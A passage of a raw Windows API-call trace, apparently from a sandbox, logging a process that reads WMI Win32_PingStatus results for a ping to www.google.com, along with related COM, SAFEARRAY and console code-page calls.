pType=0x248b614*=0, plFlavor=0x248b618*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248b614*=8, plFlavor=0x248b618*=64) returned 0x0 [0140.593] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.593] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.593] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b7f0*=0, plFlavor=0x248b7f4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x248b7f0*=3, plFlavor=0x248b7f4*=64) returned 0x0 [0140.594] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b824*=0, plFlavor=0x248b828*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5075a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248b824*=8200, plFlavor=0x248b828*=64) returned 0x0 [0140.594] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b858*=0, plFlavor=0x248b85c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x248b858*=8, plFlavor=0x248b85c*=64) returned 0x0 [0140.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.594] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.594] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b8a4*=0, plFlavor=0x248b8a8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248b8a4*=8, plFlavor=0x248b8a8*=64) returned 0x0 [0140.594] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.594] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.594] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248b8f0*=0, plFlavor=0x248b8f4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248b8f0*=8, plFlavor=0x248b8f4*=64) returned 0x0 [0140.594] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.594] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.594] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0140.595] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0140.595] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.595] IWbemClassObject:Get (in: This=0x4f432d8, wszName="WriteDebugStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bb28*=0, plFlavor=0x248bb2c*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bb28*=0, plFlavor=0x248bb2c*=0) returned 0x80041002 [0140.595] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0140.596] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b298) returned 0x0 [0140.596] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b298, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0140.597] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b298, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b2d8) returned 0x0 [0140.597] WbemStatusCodeText:IUnknown:Release (This=0x4f5b298) returned 0x0 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b2d8) returned 0x0 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0140.597] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2d8) returned 0x3 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0140.597] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0140.597] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0140.597] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0140.597] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2d8) returned 0x2 [0140.597] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2d8) returned 0x1 [0140.598] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.598] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0140.598] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2d8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b2d8) returned 0x0 [0140.598] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2d8) returned 0x3 [0140.598] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2d8) returned 0x2 [0140.598] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b2d8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0140.598] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.599] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.599] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.599] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0140.599] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0140.599] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.599] IWbemClassObject:GetNames (in: This=0x4f432d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0140.599] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.599] SafeArrayGetDim (psa=0x507480) returned 0x1 [0140.599] SafeArrayGetLBound (in: psa=0x507480, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0140.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.600] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.600] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.600] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.600] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.600] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.600] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.600] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.600] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.600] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.600] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.600] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.600] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.600] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.600] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.600] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.600] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.600] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.600] SysStringByteLen (bstr="__PATH") returned 0xc [0140.600] SysStringByteLen (bstr="__PATH") returned 0xc [0140.600] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bf08*=0, plFlavor=0x248bf0c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x248bf08*=3, plFlavor=0x248bf0c*=64) returned 0x0 [0140.601] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bf3c*=0, plFlavor=0x248bf40*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248bf3c*=8, plFlavor=0x248bf40*=64) returned 0x0 [0140.601] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.601] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.601] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bf94*=0, plFlavor=0x248bf98*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bf94*=8, plFlavor=0x248bf98*=64) returned 0x0 [0140.601] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248bfbc*=0, plFlavor=0x248bfc0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x248bfbc*=8, plFlavor=0x248bfc0*=64) returned 0x0 [0140.601] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.601] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.601] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c014*=0, plFlavor=0x248c018*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248c014*=8, plFlavor=0x248c018*=64) returned 0x0 [0140.601] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.601] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0140.601] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c1f0*=0, plFlavor=0x248c1f4*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x248c1f0*=3, plFlavor=0x248c1f4*=64) returned 0x0 [0140.602] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c224*=0, plFlavor=0x248c228*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b298, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x248c224*=8200, plFlavor=0x248c228*=64) returned 0x0 [0140.602] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c258*=0, plFlavor=0x248c25c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x248c258*=8, plFlavor=0x248c25c*=64) returned 0x0 [0140.602] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.602] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.602] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c2a4*=0, plFlavor=0x248c2a8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x248c2a4*=8, plFlavor=0x248c2a8*=64) returned 0x0 [0140.602] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.602] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.602] IWbemClassObject:Get (in: This=0x4f432d8, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c2f0*=0, plFlavor=0x248c2f4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x248c2f0*=8, plFlavor=0x248c2f4*=64) returned 0x0 [0140.603] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.603] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0140.603] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0140.603] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0140.603] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.603] IWbemClassObject:Get (in: This=0x4f432d8, wszName="WriteInformationStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c534*=0, plFlavor=0x248c538*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x248c534*=0, plFlavor=0x248c538*=0) returned 0x80041002 [0140.603] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0140.614] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b298) returned 0x0 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b298, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0140.615] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b298, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b2e8) returned 0x0 [0140.615] WbemStatusCodeText:IUnknown:Release (This=0x4f5b298) returned 0x0 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b2e8) returned 0x0 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0140.615] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2e8) returned 0x3 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0140.615] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0140.615] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0140.616] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0140.616] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0140.616] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2e8) returned 0x2 [0140.616] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2e8) returned 0x1 [0140.616] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0140.616] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0140.616] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b2e8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b2e8) returned 0x0 [0140.616] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b2e8) returned 0x3 [0140.616] WbemStatusCodeText:IUnknown:Release (This=0x4f5b2e8) returned 0x2 [0140.616] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b2e8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0140.616] SysStringByteLen (bstr="Not found ") returned 0x14 [0140.618] GetConsoleOutputCP () returned 0x1b5 [0140.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.618] GetConsoleOutputCP () returned 0x1b5 [0140.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, 